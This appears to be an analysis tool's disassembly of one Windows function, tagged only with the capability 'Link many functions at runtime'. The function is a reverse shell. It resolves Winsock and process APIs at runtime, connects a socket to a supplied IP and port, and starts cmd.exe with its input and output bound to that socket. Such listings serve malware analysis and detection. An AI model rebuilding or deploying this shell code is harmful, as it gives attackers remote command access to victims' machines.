Function at 0x140001450
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rdi
sub rsp, 0x2e8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x280], rcx
mov dword [rbp + 0x288], edx
lea rax, str.Ws2_32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x258], rax
lea rax, str.Kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x250], rax
cmp qword [rbp + 0x258], 0
je 0x1400017ab
cmp qword [rbp + 0x250], 0
je 0x1400017ab
mov rax, qword [rbp + 0x258]
lea rdx, str.WSAStartup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x258]
lea rdx, str.WSACleanup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x258]
lea rdx, str.WSASocketA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x258]
lea rdx, str.WSAConnect
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x250]
lea rdx, str.CreateProcessA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x250]
lea rdx, str.WaitForSingleObject
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x250]
lea rdx, str.CloseHandle
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x238]
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
call rax
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 0
lea rax, [rbp + 0x60]
mov r8, qword [rbp + 0x248]
mov rdx, rax
mov ecx, 0x202
call r8
mov word [rbp + 0x200], 2
mov rax, qword [rbp + 0x280]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x204], eax
mov eax, dword [rbp + 0x288]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x202], ax
lea rdx, [rbp + 0x200]
mov rax, qword [rbp + 0x210]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x230]
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
call r10
cmp eax, 0xffffffff
jne 0x1400016ac
mov rax, qword [rbp + 0x210]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x240]
call rax
jmp 0x140001783
movabs rax, 0x6578652e646d63
mov qword [rbp + 0x58], rax
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 0x101
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x58]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r10, qword [rbp + 0x228]
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
call r10
mov rax, qword [rbp + 0x40]
mov r8, qword [rbp + 0x220]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov rax, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x218]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x218]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x258]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov rax, qword [rbp + 0x250]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x1400017ac
nop
add rsp, 0x2e8
pop rdi
pop rbp
ret